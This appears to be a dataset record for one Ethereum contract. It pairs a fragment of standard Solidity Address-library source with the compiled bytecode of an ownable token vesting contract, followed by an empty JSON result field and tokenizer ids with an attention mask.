* * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b506004361061011b5760003560e01c8063718da7ee116100b2578063d85349f711610081578063f2fde38b11610066578063f2fde38b14610223578063f7260d3e14610256578063fc0c546a1461025e5761011b565b8063d85349f714610213578063e834a8341461021b5761011b565b8063718da7ee146101745780638da5cb5b146101a7578063af38d757146101d8578063cbf0b0c0146101e05761011b565b80634a4e5776116100ee5780634a4e5776146101525780634e71d92d1461015a5780635d1fbf5414610164578063715018a61461016c5761011b565b80631989488b146101205780631f2698ab1461013a578063460ad4391461014257806348a0d7541461014a575b600080fd5b610128610266565b60408051918252519081900360200190f35b61012861028a565b6101286102ae565b6101286102d2565b6101286102ee565b610162610312565b005b6101286103f9565b61016261041d565b6101626004803603602081101561018a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610534565b6101af6106fa565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610128610716565b610162600480360360208110156101f657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661087b565b610128610aa1565b610128610ac5565b6101626004803603602081101561023957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610acb565b6101af610c6c565b6101af610c88565b7f00000000000000000000000000000000000000000000000000000000001312d081565b7f000000000000000000000000000000000000000000000000000000005fe5dda081565b7f00000000000000000000000000000000000000000000000000000000001312d081565b60006102e86002546102e2610716565b90610cac565b90505b90565b7f0000000000000000000000000000000000000000000000000000000000f099c081565b60015473ffffffffffffffffffffffffffffffffffffffff16331461039857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f6163636573732064656e69656400000000000000000000000000000000000000604482015290519081900360640190fd5b60006103a26102d2565b6002549091506103b29082610d28565b6002556103f673ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c302163383610da3565b50565b7f000000000000000000000000000000000000000000000000000000000000000381565b610425610e35565b73ffffffffffffffffffffffffffffffffffffffff166104436106fa565b73ffffffffffffffffffffffffffffffffffffffff16146104c557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b61053c610e35565b73ffffffffffffffffffffffffffffffffffffffff1661055a6106fa565b73ffffffffffffffffffffffffffffffffffffffff16146105dc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661065e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5265636569766572206973207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b6001546040805173ffffffffffffffffffffffffffffffffffffffff9283168152918316602083015280517fd36aafedb017e43b79d3cf6aa1987d3fbb9fff33e1738c71dbf6b2abaadbded09281900390910190a1600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60006107627f000000000000000000000000000000000000000000000000000000005fe5dda07f0000000000000000000000000000000000000000000000000000000001e13380610d28565b421015610771575060006102eb565b60006107c76107c07f000000000000000000000000000000000000000000000000000000005fe5dda07f0000000000000000000000000000000000000000000000000000000001e13380610d28565b4290610cac565b9050600061081e7f0000000000000000000000000000000000000000000000000000000000000003610819847f0000000000000000000000000000000000000000000000000000000000f099c0610e39565b610eba565b905061087461084d827f00000000000000000000000000000000000000000000000000000000001312d0610ed0565b7f00000000000000000000000000000000000000000000000000000000001312d090610d28565b9250505090565b610883610e35565b73ffffffffffffffffffffffffffffffffffffffff166108a16106fa565b73ffffffffffffffffffffffffffffffffffffffff161461092357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166109a557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5472616e7366657220746f207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b60007f000000000000000000000000111111111117dc0aa78b770fa6a738034120c30273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a2e57600080fd5b505afa158015610a42573d6000803e3d6000fd5b505050506040513d6020811015610a5857600080fd5b50519050610a9d73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c302168383610da3565b5050565b7f0000000000000000000000000000000000000000000000000000000001e1338081565b60025481565b610ad3610e35565b73ffffffffffffffffffffffffffffffffffffffff16610af16106fa565b73ffffffffffffffffffffffffffffffffffffffff1614610b7357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116610bdf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806112b26026913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000111111111117dc0aa78b770fa6a738034120c30281565b600082821115610d1d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b600082820183811015610d9c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610e30908490610f43565b505050565b3390565b6000808211610ea957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610eb257fe5b049392505050565b6000818310610ec95781610d9c565b5090919050565b600082610edf57506000610d22565b82820282848281610eec57fe5b0414610d9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112fe6021913960400191505060405180910390fd5b6060610fa5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661101b9092919063ffffffff16565b805190915015610e3057808060200190516020811015610fc457600080fd5b5051610e30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061131f602a913960400191505060405180910390fd5b606061102a8484600085611032565b949350505050565b60608247101561108d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806112d86026913960400191505060405180910390fd5b611096856111ed565b61110157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b6020831061116b57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0909201916020918201910161112e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146111cd576040519150601f19603f3d011682016040523d82523d6000602084013e6111d2565b606091505b50915091506111e28282866111f3565b979650505050505050565b3b151590565b60608315611202575081610d9c565b8251156112125782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561127657818101518382015260200161125e565b50505050905090810190601f1680156112a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220a40f644020bfc8dc61861fb194eb52b9e383b08f073f105dfc95c595e6b0531864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2063, 2549, 5243, 2278, 2620, 2050, 2683, 2629, 2546, 22932, 2683, 22932, 18827, 21619, 14142, 2546, 19317, 28154, 2620, 2509, 2050, 20842, 2063, 2692, 2094, 2575, 19841, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]